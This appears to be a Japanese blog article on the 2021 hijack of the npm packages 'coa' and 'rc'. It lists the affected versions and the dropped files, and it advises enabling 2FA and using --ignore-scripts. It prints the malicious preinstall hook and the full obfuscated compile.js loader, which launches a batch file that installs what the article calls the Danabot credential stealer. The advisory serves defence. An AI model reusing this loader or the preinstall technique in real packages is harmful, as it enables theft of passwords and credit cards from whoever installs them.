npm の人気パッケージ 「coa」と「rc」にマルウェアが埋め込まれた

2021/11/5 npm パッケージ 「coa」と「rc」がハイジャックされ、パスワードを盗むマルウェアが埋め込まれました。現在の時点では問題のあったバージョンはすべて取り除かれています。

  • coa はコマンドライン引数のパーサーで、週に880万ダウンロードされています。有名なライブラリですと React がや @vue/cli-service がこのパッケージに依存しています。
  • rc は 設定のローダーで、週に130万ダウンロードされています。

影響を受けたバージョン

coa

  • 2.0.3
  • 2.0.4
  • 2.1.1
  • 2.1.3
  • 3.0.1
  • 3.1.3

rc

  • 1.2.9
  • 1.3.9
  • 2.3.9

なにをすべきですか?

npm を利用しているレポジトリにおいて「coa」または「rc」の上記に該当するバージョンが存在するか package.lock.json または yarn.lock ファイルを確認します。

もしこれらのバージョンが含まれていた場合あなたのマシンに以下のファイルが含まれていないかどうか確認し、削除する必要があります。また、あなたのパスワードの情報はすでに盗まれている可能性があるので速やかに変更をすべきです。

  • compile.js
  • compile.bat
  • sdd.dll

マルウェアの内容

埋め込まれたマルウェアは「coa」と「rc」どちらも同じ内容で、どちらも preinstall を利用した攻撃となっています。

preinstallnpm-script に定義できる Life Cycle Scripts と呼ばれる特殊なスクリプトであり npm install が実行される直前に実行されます。

"preinstall": "start /B node compile.js & node compile.js"

影響を受けたバージョンには compile.jscompile.bat という名前のファイルが含まれており npm install を実行することで compile.js が実行されてしまいます。

  • compile.js
const _0x29286e=_0x3b9e;(function(_0x595213,_0x1c7f12){const _0x524030=_0x3b9e,_0x10bbc4=_0x595213();while(!![]){try{const _0x5ab451=parseInt(_0x524030(0xef))/0x1*(-parseInt(_0x524030(0xfa))/0x2)+parseInt(_0x524030(0xf7))/0x3+-parseInt(_0x524030(0xf6))/0x4*(parseInt(_0x524030(0xf5))/0x5)+-parseInt(_0x524030(0xf2))/0x6*(-parseInt(_0x524030(0xed))/0x7)+-parseInt(_0x524030(0xf8))/0x8*(parseInt(_0x524030(0xe9))/0x9)+parseInt(_0x524030(0xeb))/0xa+parseInt(_0x524030(0xf3))/0xb*(parseInt(_0x524030(0xf4))/0xc);if(_0x5ab451===_0x1c7f12)break;else _0x10bbc4['push'](_0x10bbc4['shift']());}catch(_0x3b1efb){_0x10bbc4['push'](_0x10bbc4['shift']());}}}(_0x4f67,0x3d733));const {exec}=require('child_process');function _0x4f67(){const _0x5d7817=['28bejTPQ','1355673ZDaxId','779896MgsJdu','child_process','26358GzOkXk','MacOS','platform','cmd.exe','win64','27EVEPMY','win32','768760SJubeg','Linux','111587KPhwpG','compile.bat','11xGbwXc','linux','darwin','36HiOlse','11PTXHjR','3696096qOooYF','173780mPHnxy'];_0x4f67=function(){return _0x5d7817;};return _0x4f67();}var opsys=process[_0x29286e(0xfc)];function _0x3b9e(_0x21f5ee,_0x411966){const _0x4f6708=_0x4f67();return _0x3b9e=function(_0x3b9ecb,_0x3ac81f){_0x3b9ecb=_0x3b9ecb-0xe9;let _0x5a6794=_0x4f6708[_0x3b9ecb];return _0x5a6794;},_0x3b9e(_0x21f5ee,_0x411966);}if(opsys==_0x29286e(0xf1))opsys=_0x29286e(0xfb);else{if(opsys==_0x29286e(0xea)||opsys==_0x29286e(0xfe)){opsys='Windows';const {spawn}=require(_0x29286e(0xf9)),bat=spawn(_0x29286e(0xfd),['/c',_0x29286e(0xee)]);}else opsys==_0x29286e(0xf0)&&(opsys=_0x29286e(0xec));}

compile.js が実行されることで compile.bat というバッチファイルが実行されます。このバッチが実行されると sdd.dll がインストールされ起動されます。このマルウェアは、Windows用のパスワード盗用トロイの木馬であるDanabotである可能性が高いです。

Danabotが読み込まれると、以下のような様々な悪意ある活動を行います。

  • Chrome、Firefox、Opera、Internet Explorer、Safariなどの様々なウェブブラウザからパスワードを盗む。
  • VNC、FTPクライアント、メールアカウントなど、様々なアプリケーションからパスワードを盗む。

保存されているクレジットカードを盗む。

  • アクティブな画面のスクリーンショットを撮る。
  • キーストロークを記録する。

npm のセキュリティに対する対策

2FA の有効化

マルウェアが埋め込まれた現在として npm のパッケージを公開する権限がある人のアカウントが乗っ取られたことが要因として上げられています。npm としては同様の攻撃を防ぐため2FAを有効にすることが強く推奨されています。

pre-install を無効化する

マルウェアの実行の多くは pre-install スクリプトによって行われています。パッケージをインストールする際に --ignore-scripts オプションを付与することでスクリプトの実行をオプトアウトできます。

npm install --ignore-scripts
yarn add --ignore-scripts

参考

この記事をシェアする
Hatena

関連記事